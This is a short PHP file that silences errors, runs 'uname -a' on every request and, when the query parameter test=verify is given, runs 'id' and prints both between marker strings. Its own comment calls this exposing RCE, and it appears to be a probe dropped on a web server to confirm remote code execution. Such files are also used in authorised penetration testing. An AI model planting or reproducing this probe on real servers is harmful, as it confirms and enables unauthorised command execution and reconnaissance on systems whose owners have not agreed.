<?php
@error_reporting(0);
@ini_set('display_errors', 0);
// Force output
echo "===SMP_START===\n";
system("uname -a 2>&1");
echo "===SMP_END===\n";
// Only expose RCE if specifically tested
if(isset($_GET['test']) && $_GET['test'] === 'verify') {
    echo "===CMD_START===\n";
    system("id 2>&1");
    echo "===CMD_END===\n";
}
?>